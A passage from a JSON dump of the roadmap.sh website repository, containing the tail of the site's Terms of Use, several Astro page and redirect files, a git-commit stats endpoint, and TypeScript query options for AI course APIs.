process (manual or automated) to monitor, copy or scrape any of the material on this Website (including to train artificial intelligence algorithms).\n4. Use any device, software, or routine that interferes with the proper working of this Website.\n5. Introduce any viruses, Trojan horses, worms, logic bombs, or other material that is malicious or technologically harmful.\n6. Attempt to gain unauthorized access to, interfere with, damage, or disrupt any parts of this Website, the server on which this Website is stored, or any server, computer, or database connected to this Website. \n7. Attack this Website via a denial-of-service attack or a distributed denial-of-service attack.\n8. Otherwise attempt to interfere with the proper working of this Website.\n\n## User Content\n\nThis Website may allow you to leave comments, upload to the Website, share or submit content, or send messages (collectively, \"Interactive Services\") that include messages, posts, content or other materials (collectively, \"User Content\") on or through this Website. All User Content must comply with these Terms of Use.\n\nYou own all right, title and interest in and to User Content, and grant us the perpetual, irrevocable, sublicensable, worldwide, royalty free license to copy, translate, transmit, modify (for technical purposes), publish, distribute and reproduce and otherwise use User Content in connection with our offering of the Website. We reserve the right to delete User Content for any reason with or without notice to you.\n\nAny User Content you post to the Website will be considered non-confidential and non-proprietary. \n\nYou understand and acknowledge that you are responsible for any User Content you submit or contribute, and you, not roadmap.sh, have full responsibility for such content, including its legality, reliability, accuracy, and appropriateness.\n\nroadmap.sh is not responsible or liable to any third party for the content or accuracy of any User Content posted by you or any other user of the Website. \n\n## Monitoring and Enforcement; Termination\n\nroadmap.sh has the right to:\n\n1. Remove or refuse to post any User Content for any or no reason in our sole discretion.\n2. Take any action with respect to any User Contribution that we deem necessary or appropriate in our sole discretion, including if we believe that such User Contribution violates the Terms of Use, including the Content Standards, infringes any intellectual property right or other right of any person or entity, threatens the personal safety of users of the Website or the public, or could create liability for roadmap.sh.\n3. Disclose your identity or other information about you to any third party who claims that material posted by you violates their rights, including their intellectual property rights or their right to privacy.\n4. Take appropriate legal action, including without limitation, referral to law enforcement, for any illegal or unauthorized use of the Website. \n5. Terminate or suspend your access to all or part of the Website for any or no reason, including without limitation, any violation of these Terms of Use.\n\nWithout limiting the foregoing, roadmap.sh has the right to cooperate fully with any law enforcement authorities or court order requesting or directing us to disclose the identity or other information of anyone posting any materials on or through the Website. **YOU WAIVE AND HOLD HARMLESS ROADMAP.SH AND ITS AFFILIATES, LICENSEES, AND SERVICE PROVIDERS FROM ANY CLAIMS RESULTING FROM ANY ACTION TAKEN BY ANY OF THE FOREGOING PARTIES DURING, OR TAKEN AS A CONSEQUENCE OF, INVESTIGATIONS BY EITHER roadmap.sh OR LAW ENFORCEMENT AUTHORITIES.**\n\nHowever, roadmap.sh does not undertake to review all material before it is posted on this Website and cannot ensure prompt removal of objectionable material after it has been posted. Accordingly, we assume no liability for any action or inaction regarding transmissions, communications, or content provided by any user or third party. roadmap.sh has no liability or responsibility to anyone for performance or nonperformance of the activities described in this section. \n\n## Content Standards\n\nThese Content Standards apply to any and all User Content and use of Interactive Services. User Content must in their entirety comply with all applicable federal, state, local, and international laws and regulations. Without limiting the foregoing, User Content must not:\n\n1. Contain any material that is defamatory, obscene, indecent, abusive, offensive, harassing, violent, hateful, inflammatory, or otherwise objectionable.\n2. Promote sexually explicit or pornographic material, violence, or discrimination based on race, sex, religion, nationality, disability, sexual orientation, or age.\n3. Infringe any patent, trademark, trade secret, copyright, or other intellectual property or other rights of any other person.\n4. Violate the legal rights (including the rights of publicity and privacy) of others or contain any material that could give rise to any civil or criminal liability under applicable laws or regulations or that otherwise may be in conflict with these Terms of Use and our Privacy Policy.\n5. Be likely to deceive any person.\n6. Promote any illegal activity, or advocate, promote, or assist any unlawful act.\n7. Cause annoyance, inconvenience, or needless anxiety or be likely to upset, embarrass, alarm, or annoy any other person.\n8. Impersonate any person or misrepresent your identity or affiliation with any person or organization. \n9. Involve commercial activities or sales, such as contests, sweepstakes, and other sales promotions, barter, or advertising.\n10. Give the impression that they emanate from or are endorsed by us or any other person or entity, if this is not the case.\n\n## Copyright Infringement\n\nIn accordance with the Digital Millennium Copyright Act (**\"DMCA\"**) and other applicable law, roadmap.sh has adopted a policy of terminating, in appropriate circumstances, any user who is deemed to be a repeat infringer. roadmap.sh may also, in our sole discretion, limit access to the Website or Interactive Services if you infringe any intellectual property rights of others, whether or not you are considered a repeat infringement.\n\nIf you believe that any content made available on the Website infringes upon any copyright which you own or control, you may file a notification of such infringement with our designated copyright agent as set forth below.\n\n**roadmap.sh**\n548 Market Street, PMB 50938\nSan Francisco, CA, US\nE-Mail Address: info@roadmap.sh \n\nYour written notice must: (a) contain your physical or electronic signature; (b) identify the copyrighted work alleged to have been infringed; (c) identify the allegedly infringing material in a sufficiently precise manner to allow us to locate that material; (d) contain adequate information by which we can contact you (including postal address, telephone number, and email address); (e) contain a statement that you have a good faith belief that use of the copyrighted material is not authorized by the copyright owner, the copyright owner's agent, or the law; (f) contain a statement that the information in the written notice is accurate; and (g) contain a statement, under penalty of perjury, that you are authorized to act on behalf of the copyright owner. Please do not send notices or inquiries unrelated to alleged copyright infringement to our designated copyright agent. Please see 17 U.S.C. §512(c)(3) for the requirements of a proper notification.\n\nIf you believe in good faith that someone has wrongfully filed a notice of copyright infringement against you, the DMCA permits you to send us a counter-notice. Notices and counter-notices must meet the current statutory requirements imposed by the DMCA.\n\nIf you knowingly misrepresent in your notification that the material or activity is infringing, you will be liable for any damages, including costs and attorneys' fees, incurred by us or the alleged infringer as the result of our relying upon such misrepresentation in removing or disabling access to the material or activity claimed to be infringing.\n\n## Our App\n\nThese Terms apply to your use of the iOS applications available via the Apple, Inc. (\"Apple\") App Store (the \"Application\"), but the following additional terms also apply to the Application: (a) we both acknowledge that the Terms of Use are concluded between you and roadmap.sh only, and not with Apple, and that Apple is not responsible for the Application or any content made available in the Application; (b) the Application is licensed to you on a limited, non-exclusive, non-transferrable, non-sublicensable basis, solely to download the Application to be used for your private, personal, non-commercial use, subject to all the terms and conditions of these Terms of Use; (c) you will only use the Application in connection with an Apple device that you own or control; (d) you acknowledge and agree that Apple has no obligation whatsoever to furnish any maintenance and support services with respect to the Application; (e) in the event of any failure of the Application to conform to any applicable warranty, including those implied by law, you may notify Apple of such failure; upon notification, Apple's sole warranty obligation to you will be to refund to you the purchase price, if any, of the Application; (f) you acknowledge and agree that roadmap.sh and not Apple is responsible for addressing any claims you or any third party may have in relation to the Application; (g) you acknowledge and agree that, in the event of any third party claim that the Application or your possession and use of the Application infringes that third party's intellectual property rights, roadmap.sh, and not Apple, will be responsible for the investigation, defense, settlement and discharge of any such infringement claim; (h) you represent and warrant that you are not located in a country subject to a U.S. Government embargo, or that has been designated by the U.S. Government as a \"terrorist supporting\" country, and that you are not listed on any U.S. Government list of prohibited or restricted parties; (i) both you and roadmap.sh acknowledge and agree that, in your use of the Application, you will comply with any applicable third party terms of agreement which may affect or be affected by such use; and (j) Both you and roadmap.sh acknowledge and agree that Apple and Apple's subsidiaries are third party beneficiaries of these Terms, and that upon your acceptance of these Terms, Apple will have the right (and will be deemed to have accepted the right) to enforce these Terms against you as the third party beneficiary hereof.\n\n## Reliance on Information Posted\n\nThe information presented on or through this Website is made available solely for general information purposes. roadmap.sh does not warrant the accuracy, completeness, or usefulness of this information. Any reliance you place on such information is strictly at your own risk. roadmap.sh disclaims all liability and responsibility arising from any reliance placed on such materials by you or any other visitor to this Website, or by anyone who may be informed of any of its contents.\n\nThis Website includes content provided by third parties, including materials provided by other users, bloggers, and third-party licensors, syndicators, aggregators, and/or reporting services. All statements and/or opinions expressed in these materials, and all articles and responses to questions and other content, other than the content provided by roadmap.sh, are solely the opinions and the responsibility of the person or entity providing those materials. These materials do not necessarily reflect the opinion of roadmap.sh. We are not responsible, or liable to you or any third party, for the content or accuracy of any materials provided by any third parties.\n\n## Changes to the Website\n\nroadmap.sh may update the content on this Website from time to time, but its content is not necessarily complete or up-to-date. Any of the material on this Website may be out of date at any given time, and roadmap.sh is under no obligation to update such material. \n\n## Information About You and Your Visits to the Website\n\nBy using this Website, you consent to all actions taken by roadmap.sh with respect to your information in compliance with the Privacy Policy. \n\n## Linking to the Website and Social Media Features\n\nYou may link to the roadmap.sh homepage, provided you do so in a way that is fair and legal and does not damage our reputation or take advantage of it, but you must not establish a link in such a way as to suggest any form of association, approval, or endorsement on our part without our express written consent. \n\nThis Website may provide certain social media features that enable you to:\n\n1. Link from your own or certain third-party websites to certain content on this Website.\n2. Send emails or other communications with certain content, or links to certain content, on this Website.\n3. Cause limited portions of content on this Website to be displayed or appear to be displayed on your own or certain third-party websites.\n\nYou may use these features solely as they are provided by us and solely with respect to the content they are displayed with, and otherwise in accordance with any additional terms and conditions we provide with respect to such features. Subject to the foregoing, you must not:\n\n1. Establish a link from any website that is not owned by you.\n2. Cause the Website or portions of it to be displayed on, or appear to be displayed by, any other site, for example, framing, deep linking, or in-line linking.\n3. Link to any part of the Website other than the homepage.\n4. Otherwise take any action with respect to the materials on this Website that is inconsistent with any other provision of these Terms of Use.\n\nThe website from which you are linking, or on which you make certain content accessible, must comply in all respects with the Content Standards set out in these Terms of Use.\n\nYou agree to cooperate with roadmap.sh in causing any unauthorized framing or linking immediately to stop. roadmap.sh reserves the right to withdraw linking permission without notice.\n\nroadmap.sh may disable all or any social media features and any links at any time without notice in our discretion. \n\n## Links from the Website\n\nIf the Website contains links to other sites and resources provided by third parties, these links are provided for your convenience only. This includes links contained in advertisements, including banner advertisements and sponsored links. roadmap.sh has no control over the contents of those sites or resources and accept no responsibility for them or for any loss or damage that may arise from your use of them. If you decide to access any of the third-party websites linked to this Website, you do so entirely at your own risk and subject to the terms and conditions of use for such websites.\n\n## Disclaimer of Warranties\n\nTO THE FULLEST EXTENT PROVIDED BY LAW, ROADMAP.SH WILL NOT BE LIABLE FOR ANY LOSS OR DAMAGE CAUSED BY YOUR USE OF THE WEBSITE OR ANY SERVICES OR ITEMS OBTAINED THROUGH THE WEBSITE OR YOUR DOWNLOADING OF ANY MATERIAL POSTED ON IT, OR ON ANY WEBSITE LINKED TO IT.\n\nYOUR USE OF THIS WEBSITE, ITS CONTENT, AND ANY SERVICES OR ITEMS OBTAINED THROUGH THIS WEBSITE IS AT YOUR OWN RISK. THIS WEBSITE, ITS CONTENT, AND ANY SERVICES OR ITEMS OBTAINED THROUGH THE WEBSITE ARE PROVIDED ON AN \"AS IS\" AND \"AS AVAILABLE\" BASIS, WITHOUT ANY WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED OR OTHERWISE, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT, AND FITNESS FOR PARTICULAR PURPOSE. NEITHER ROADMAP.SH NOR ANY PERSON ASSOCIATED WITH ROADMAP.SH MAKES ANY WARRANTY OR REPRESENTATION WITH RESPECT TO THE COMPLETENESS, SECURITY, RELIABILITY, QUALITY, ACCURACY, OR AVAILABILITY OF THIS WEBSITE. WITHOUT LIMITING THE FOREGOING, NEITHER ROADMAP.SH NOR ANYONE ASSOCIATED WITH ROADMAP.SH REPRESENTS OR WARRANTS THAT THIS WEBSITE, ITS CONTENT, OR ANY SERVICES OR ITEMS OBTAINED THROUGH THIS WEBSITE WILL BE ACCURATE, RELIABLE, ERROR-FREE, OR UNINTERRUPTED, THAT DEFECTS WILL BE CORRECTED, THAT OUR SITE OR THE SERVER THAT MAKES IT AVAILABLE ARE FREE OF VIRUSES OR OTHER HARMFUL COMPONENTS, OR THAT THIS WEBSITE OR ANY SERVICES OR ITEMS OBTAINED THROUGH THIS WEBSITE WILL OTHERWISE MEET YOUR NEEDS OR EXPECTATIONS.\n\nTHE FOREGOING DOES NOT AFFECT ANY WARRANTIES THAT CANNOT BE EXCLUDED OR LIMITED UNDER APPLICABLE LAW.\n\n## Limitation on Liability\n\nTO THE FULLEST EXTENT PROVIDED BY LAW, IN NO EVENT WILL ROADMAP.SH, ITS AFFILIATES, OR THEIR LICENSORS, SERVICE PROVIDERS, EMPLOYEES, AGENTS, OFFICERS, OR DIRECTORS BE LIABLE FOR DAMAGES OF ANY KIND, UNDER ANY LEGAL THEORY, ARISING OUT OF OR IN CONNECTION WITH YOUR USE, OR INABILITY TO USE, THIS WEBSITE, ANY WEBSITES LINKED TO IT, ANY CONTENT ON THIS WEBSITE OR SUCH OTHER WEBSITES, INCLUDING ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, OR PUNITIVE DAMAGES, INCLUDING BUT NOT LIMITED TO, PERSONAL INJURY, PAIN AND SUFFERING, EMOTIONAL DISTRESS, LOSS OF REVENUE, LOSS OF PROFITS, LOSS OF BUSINESS OR ANTICIPATED SAVINGS, LOSS OF USE, LOSS OF GOODWILL, LOSS OF DATA, AND WHETHER CAUSED BY TORT (INCLUDING NEGLIGENCE), BREACH OF CONTRACT, OR OTHERWISE, EVEN IF FORESEEABLE. \n\nTHE FOREGOING DOES NOT AFFECT ANY LIABILITY THAT CANNOT BE EXCLUDED OR LIMITED UNDER APPLICABLE LAW.\n\n## Indemnification\n\nYou agree to defend, indemnify, and hold harmless roadmap.sh, its affiliates, licensors, and service providers, and its and their respective officers, directors, employees, contractors, agents, licensors, suppliers, successors, and assigns from and against any claims, liabilities, damages, judgments, awards, losses, costs, expenses, or fees (including reasonable attorneys' fees) arising out of or relating to your violation of these Terms of Use or your use of this Website, including, but not limited to, your Posts, any use of this Website's content, services, and products other than as expressly authorized in these Terms of Use, or your use of any information obtained from this Website.\n\n## Governing Law and Jurisdiction\n\nAll matters relating to this Website and these Terms of Use, and any dispute or claim arising therefrom or related thereto (in each case, including non-contractual disputes or claims), shall be governed by and construed in accordance with the internal laws of the State of New York without giving effect to any choice or conflict of law provision or rule (whether of the State of New York or any other jurisdiction).\n\n## Arbitration; Class Action Waiver\n\nTo the maximum extent permitted by law, each of us agrees that any and all disputes, whether arising under any legal or equitable theory and given the broadest meaning enforceable under law arising out of or relating in any way to these Terms of Use, your access to or use of the Website or any content available on or through the Website or any other matter related thereto (each a **\"Dispute\"**) will be resolved exclusively and finally by a single arbitrator using binding arbitration pursuant to the Consumer Arbitration Rules of the American Arbitration Association (**\"AAA\"**), as further detailed in this Section (**\"Arbitration Agreement\"**). The only exception to the Arbitration Agreement is that either of us may seek equitable relief in court for infringement or other misuse of intellectual property rights (such as trademarks, trade dress, domain names, trade secrets, copyrights, and patents). You may reject this Arbitration Agreement by providing us with written notice of such rejection within 30 days of your first access to the Services or of the date a change to this Arbitration Agreement became effective. In order to be effective notice must include your full name and clearly indicate your intent to reject changes to this Arbitration Agreement. If you opt-out of this Arbitration Agreement, all other parts of these Terms will continue to apply to you. Opting out of this Arbitration Agreement has no effect on any other arbitration agreements that you may currently have or may enter in the future with us. **YOU AGREE THAT DISPUTES WILL ONLY BE CONDUCTED ON AN INDIVIDUAL BASIS AND NOT IN A CLASS, CONSOLIDATED, REPRESENTATIVE, OR SIMILAR ACTION, EXCEPT AS PROVIDED BELOW. YOU AND THE COMPANY HEREBY WAIVE ANY CONSTITUTIONAL AND STATUTORY RIGHTS TO SUE IN COURT AND HAVE A TRIAL IN FRONT OF A JUDGE OR A JURY.** Arbitration will be administered by the American Arbitration Association (**\"AAA\"**) in accordance with the AAA's Consumer Arbitration Rules and the Supplementary Procedures for Consumer-Related Disputes (the **\"AAA Rules\"**) then in effect, except as modified by this Arbitration Agreement. The AAA Rules are available at www.adr.org or by calling the AAA at 1-800-778-7879. Notwithstanding any choice of law or other provision in the Terms, the parties agree and acknowledge that this Arbitration Agreement evidences a transaction involving interstate commerce and that the Federal Arbitration Act, 9 U.S.C. §1 et seq. (**\"FAA\"**), will govern its interpretation and enforcement and proceedings pursuant thereto. It is the intent of the parties that the FAA and AAA Rules shall preempt all state laws to the fullest extent permitted by law. If the FAA and AAA Rules are found to not apply to any issue that arises under this Arbitration Agreement or the enforcement thereof, then that issue shall be resolved under the laws of the state of New York. A party who desires to initiate arbitration must provide the other party with a written demand for Arbitration as specified in the AAA Rules.  If the parties are unable to agree upon an arbitrator within seven (7) days of delivery of the demand for Arbitration, then the AAA will appoint the arbitrator in accordance with the AAA Rules. If the claim does not exceed $10,000, then the arbitration will be conducted solely on the basis of documents we submit to the arbitrator. If the claim exceeds $10,000, a party's right to a hearing will be determined by the AAA Rules. The arbitration will be conducted in English, closed to the public, and confidential. Subject to the AAA Rules, the arbitrator will have the discretion to direct a reasonable exchange of information by the parties, consistent with the expedited nature of the arbitration. All documents and information exchanged by the parties during arbitration are confidential information and will be kept confidential. Your responsibility to pay any AAA filing, administrative and arbitrator fees will be as set forth in the AAA Rules. Judgment on the arbitration award may be entered in any court having competent jurisdiction to do so. An arbitrator's decision shall be final and binding on all parties. The arbitrator shall have exclusive authority to resolve any Dispute, including, without limitation, disputes arising out of or related to the interpretation or application of the Arbitration Agreement, including the enforceability, revocability, scope, or validity of the Arbitration Agreement or any portion of the Arbitration Agreement. Each party shall bear its own attorneys' fees and costs in arbitration unless the arbitrator finds that either the substance of the Dispute or the relief sought in the demand was frivolous or was brought for an improper purpose (determined by the standards set forth in Federal Rule of Civil Procedure 11(b)). If any portion of this Arbitration Agreement is found to be unenforceable or unlawful for any reason, (a) the unenforceable or unlawful provision shall be severed from these Terms; (b) severance of the unenforceable or unlawful provision shall have no impact whatsoever on the remainder of the Arbitration Agreement or the parties' ability to compel arbitration of any remaining claims on an individual basis pursuant to the Arbitration Agreement; and (c) to the extent that any claims must therefore proceed on a class, collective, consolidated, or representative basis, such claims must be litigated in a civil court of competent jurisdiction and not in arbitration, and the parties agree that litigation of those claims shall be stayed pending the outcome of any individual claims in arbitration. These Terms, and the Arbitration Agreement, are governed by and construed in accordance with the laws of the State of New York without giving effect to any choice or conflict of law provision or rule. All litigation, court proceedings, arbitration proceedings, mediation proceedings, lawsuits, court hearings, and other hearings or actions initiated in connection with these Terms must and will be exclusively held in New York. \n\n## Limitation on Time to File Claims\n\n**ANY CAUSE OF ACTION OR CLAIM YOU MAY HAVE ARISING OUT OF OR RELATING TO THESE TERMS OF USE OR THIS WEBSITE MUST BE COMMENCED WITHIN ONE (1) YEAR AFTER THE CAUSE OF ACTION ACCRUES; OTHERWISE, SUCH CAUSE OF ACTION OR CLAIM IS PERMANENTLY BARRED.**\n\n## Waiver and Severability\n\nNo waiver by roadmap.sh of any term or condition set out in these Terms of Use shall be deemed a further or continuing waiver of such term or condition or a waiver of any other term or condition, and any failure of roadmap.sh to assert a right or provision under these Terms of Use shall not constitute a waiver of such right or provision.\n\nIf any provision of these Terms of Use is held by a court or other tribunal of competent jurisdiction to be invalid, illegal, or unenforceable for any reason, such provision shall be eliminated or limited to the minimum extent such that the remaining provisions of the Terms of Use will continue in full force and effect. \n\n## Entire Agreement\n\nThe Terms of Use, the Terms of Sale and our Privacy Policy constitute the sole and entire agreement between you and roadmap.sh regarding this Website and supersede all prior and contemporaneous understandings, agreements, representations, and warranties, both written and oral, regarding this Website. \n\n## Your Comments and Concerns\n\nThis website is operated by Insight Media Group, LLC. \n\n## Contact Us\n\n**Roadmap.sh**\n548 Market Street\nPMB 50938\nSan Francisco, CA, US\n\n**Google Voice:** 707-653-5505\n**Toll-free:** (844) 503-3215\n"
  },
  {
    "path": "src/pages/thank-you.astro",
    "content": "---\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { ThankYouPage } from '../components/ThankYou/ThankYouPage';\n---\n\n<BaseLayout title='Thank you'>\n  <ThankYouPage client:load />\n  <div slot='page-footer'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/twitter.astro",
    "content": "---\nexport const prerender = false;\nconst twitterLink = 'https://twitter.com/roadmapsh';\n\nreturn Astro.redirect(twitterLink);\n---\n"
  },
  {
    "path": "src/pages/u/[username].astro",
    "content": "---\nimport { getProjectList } from '../../api/roadmap';\nimport { userApi } from '../../api/user';\nimport { UserPublicProfilePage } from '../../components/UserPublicProfile/UserPublicProfilePage';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  username: string;\n}\n\nconst { username } = Astro.params as Params;\nif (!username) {\n  return Astro.redirect('/404');\n}\n\nconst userClient = userApi(Astro as any);\nconst { response: userDetails, error } =\n  await userClient.getPublicProfile(username);\n\nlet errorMessage = '';\nif (error || !userDetails) {\n  errorMessage = error?.message || 'User not found';\n}\n\nconst projectDetails = await getProjectList();\nconst origin = Astro.url.origin;\nconst ogImage = `${origin}/og/user/${username}`;\n\nconst hasAnyRoadmaps = (userDetails?.roadmaps || []).length > 0;\n---\n\n<BaseLayout\n  title={`${userDetails?.name || 'Unknown'} - Skill Profile at roadmap.sh`}\n  description='Check out my skill profile at roadmap.sh'\n  ogImageUrl={ogImage}\n  noIndex={!hasAnyRoadmaps}\n>\n  {\n    !errorMessage && (\n      <UserPublicProfilePage\n        {...userDetails!}\n        projectDetails={projectDetails}\n        client:load\n      />\n    )\n  }\n  {\n    errorMessage && (\n      <div class='container my-24 flex flex-col'>\n        <picture>\n          <source\n            srcset='https://fonts.gstatic.com/s/e/notoemoji/latest/1f61e/512.webp'\n            type='image/webp'\n          />\n          <img\n            src='https://fonts.gstatic.com/s/e/notoemoji/latest/1f61e/512.gif'\n            alt='😞'\n            width='120'\n            height='120'\n          />\n        </picture>\n        <h2 class='my-2 text-2xl font-bold sm:my-3 sm:text-4xl'>\n          Problem loading user!\n        </h2>\n        <p class='text-lg'>\n          <span class='rounded-md bg-red-600 px-2 py-1 text-white'>\n            {errorMessage}\n          </span>\n        </p>\n      </div>\n    )\n  }\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/v1-health.ts",
    "content": "import { execSync } from 'child_process';\n\nexport const prerender = false;\n\nexport async function GET() {\n  return new Response(JSON.stringify({}), {});\n}\n"
  },
  {
    "path": "src/pages/v1-stats.json.ts",
    "content": "import { execSync } from 'child_process';\n\nexport const prerender = true;\n\nexport async function GET() {\n  const commitHash = execSync('git rev-parse HEAD').toString().trim();\n  const commitDate = execSync('git log -1 --format=%cd').toString().trim();\n  const commitMessage = execSync('git log -1 --format=%B').toString().trim();\n\n  const prevCommitHash = execSync('git rev-parse HEAD~1').toString().trim();\n  const prevCommitDate = execSync('git log -1 --format=%cd HEAD~1')\n    .toString()\n    .trim();\n  const prevCommitMessage = execSync('git log -1 --format=%B HEAD~1')\n    .toString()\n    .trim();\n\n  return new Response(\n    JSON.stringify({\n      current: {\n        hash: commitHash,\n        date: commitDate,\n        message: commitMessage,\n      },\n      previous: {\n        hash: prevCommitHash,\n        date: prevCommitDate,\n        message: prevCommitMessage,\n      },\n    }),\n    {},\n  );\n}\n"
  },
  {
    "path": "src/pages/verification-pending.astro",
    "content": "---\nimport { VerificationEmailMessage } from '../components/AuthenticationFlow/VerificationEmailMessage';\nimport AccountLayout from '../layouts/AccountLayout.astro';\n---\n\n<AccountLayout title='Verify Email' noIndex={true}>\n  <section class='container py-8 sm:py-20'>\n    <VerificationEmailMessage client:load />\n  </section>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/verify-account.astro",
    "content": "---\nimport { TriggerVerifyAccount } from '../components/AuthenticationFlow/TriggerVerifyAccount';\nimport AccountLayout from '../layouts/AccountLayout.astro';\n---\n\n<AccountLayout title='Verify account' noIndex={true}>\n  <div class='container py-16'>\n    <TriggerVerifyAccount client:load />\n  </div>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/verify-email.astro",
    "content": "---\nimport AccountLayout from '../layouts/AccountLayout.astro';\nimport { TriggerVerifyEmail } from '../components/AuthenticationFlow/TriggerVerifyEmail';\n---\n\n<AccountLayout title='Verify email' noIndex={true}>\n  <div class='container py-16'>\n    <TriggerVerifyEmail client:load />\n  </div>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/videos/[videoId].astro",
    "content": "---\nimport VideoHeader from '../../components/VideoHeader.astro';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { getAllVideos, type VideoFileType } from '../../lib/video';\n\nexport interface Props {\n  video: VideoFileType;\n}\n\nexport const prerender = true;\n\nexport async function getStaticPaths() {\n  const videos = await getAllVideos();\n\n  return videos.map((video) => ({\n    params: { videoId: video.id },\n    props: { video },\n  }));\n}\n\nconst { videoId } = Astro.params;\nconst { video } = Astro.props;\n---\n\n<BaseLayout\n  title={video.frontmatter.title}\n  description={video.frontmatter.description}\n  permalink={`/videos/${videoId}`}\n>\n  <VideoHeader video={video} />\n\n  <div class='bg-gray-50 py-5 sm:py-10'>\n    <div\n      class='container prose prose-h2:mb-2 prose-h2:mt-4 prose-h2:text-3xl prose-h3:mt-2 prose-code:bg-transparent prose-img:mt-1'\n    >\n      <video.Content />\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/videos/index.astro",
    "content": "---\nimport SimplePageHeader from '../../components/SimplePageHeader.astro';\nimport { VideoListItem } from '../../components/FeaturedVideos/VideoListItem';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { getAllVideos } from '../../lib/video';\n\nconst videos = await getAllVideos();\n---\n\n<BaseLayout\n  title='Illustrated Videos - roadmap.sh'\n  description={'Graphical video demonstrations on software engineering topics.'}\n  permalink={`/videos`}\n>\n  <SimplePageHeader title='Videos' description='Graphical video demonstrations on software engineering topics.' />\n\n  <div class='pb-20 pt-2 bg-gray-50'>\n    <div class='container'>\n      <div class='mt-3 sm:my-5'>\n        {videos.map((video) => <VideoListItem video={video} />)}\n      </div>\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/x.astro",
    "content": "---\nexport const prerender = false;\nconst twitterLink = 'https://x.com/roadmapsh';\n\nreturn Astro.redirect(twitterLink);\n---\n"
  },
  {
    "path": "src/pages/youtube.astro",
    "content": "---\nexport const prerender = false;\nconst youtubeLink = 'https://youtube.com/@roadmapsh';\n\nreturn Astro.redirect(youtubeLink);\n---\n"
  },
  {
    "path": "src/queries/ai-course.ts",
    "content": "import { httpGet } from '../lib/query-http';\nimport { isLoggedIn } from '../lib/jwt';\nimport { queryOptions } from '@tanstack/react-query';\nimport type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\n\nexport interface AICourseProgressDocument {\n  _id: string;\n  userId: string;\n  courseId: string;\n  done: string[];\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype AICourseModule = {\n  title: string;\n  lessons: string[];\n};\n\ntype GetAICourseParams = {\n  aiCourseSlug: string;\n};\n\nexport interface AICourseDocument {\n  _id: string;\n  userId: string;\n  title: string;\n  slug?: string;\n  keyword: string;\n  done: string[];\n  difficulty: string;\n  modules: AICourseModule[];\n  viewCount: number;\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype GetAICourseResponse = AICourseDocument;\n\nexport function getAiCourseOptions(params: GetAICourseParams) {\n  return {\n    queryKey: ['ai-course', params],\n    queryFn: () => {\n      return httpGet<GetAICourseResponse>(\n        `/v1-get-ai-course/${params.aiCourseSlug}`,\n      );\n    },\n    enabled: !!params.aiCourseSlug,\n    refetchOnMount: false,\n  };\n}\n\nexport type GetAICourseLimitResponse = {\n  used: number;\n  limit: number;\n  course: {\n    used: number;\n    limit: number;\n  };\n  guide: {\n    used: number;\n    limit: number;\n  };\n  roadmap: {\n    used: number;\n    limit: number;\n  };\n  quiz: {\n    used: number;\n    limit: number;\n  };\n};\n\nexport function aiLimitOptions() {\n  return queryOptions({\n    queryKey: ['ai-course-limit'],\n    queryFn: () => {\n      return httpGet<GetAICourseLimitResponse>(`/v1-get-ai-course-limit`);\n    },\n    enabled: !!isLoggedIn(),\n    retryOnMount: false,\n    refetchOnMount: false,\n  });\n}\n\nexport type ListUserAiCoursesQuery = {\n  perPage?: string;\n  currPage?: string;\n  query?: string;\n};\n\nexport type AICourseWithLessonCount = AICourseDocument & {\n  lessonCount: number;\n};\n\ntype ListUserAiCoursesResponse = {\n  data: AICourseWithLessonCount[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listUserAiCoursesOptions(\n  params: ListUserAiCoursesQuery = {\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  },\n) {\n  return {\n    queryKey: ['user-ai-courses', params],\n    queryFn: () => {\n      return httpGet<ListUserAiCoursesResponse>(\n        `/v1-list-user-ai-courses`,\n        params,\n      );\n    },\n    enabled: !!isLoggedIn(),\n  };\n}\n\ntype ListFeaturedAiCoursesParams = {};\n\ntype ListFeaturedAiCoursesQuery = {\n  perPage?: string;\n  currPage?: string;\n};\n\ntype ListFeaturedAiCoursesResponse = {\n  data: AICourseWithLessonCount[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listFeaturedAiCoursesOptions(\n  params: ListFeaturedAiCoursesQuery = {\n    perPage: '21',\n    currPage: '1',\n  },\n) {\n  return {\n    queryKey: ['featured-ai-courses', params],\n    queryFn: () => {\n      return httpGet<ListFeaturedAiCoursesResponse>(\n        `/v1-list-featured-ai-courses`,\n        params,\n      );\n    },\n  };\n}\n\ntype ListExploreAiCoursesParams = {};\n\nexport type ListExploreAiCoursesQuery = {\n  perPage?: string;\n  currPage?: string;\n  query?: string;\n};\n\ntype ListExploreAiCoursesResponse = {\n  data: AICourseWithLessonCount[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function listExploreAiCoursesOptions(\n  params: ListExploreAiCoursesQuery = {\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  },\n) {\n  return {\n    queryKey: ['explore-ai-courses', params],\n    queryFn: () => {\n      return httpGet<ListExploreAiCoursesResponse>(\n        `/v1-list-explore-ai-courses`,\n        params,\n      );\n    },\n  };\n}\n"
  },
  {
    "path": "src/queries/ai-guide.ts",
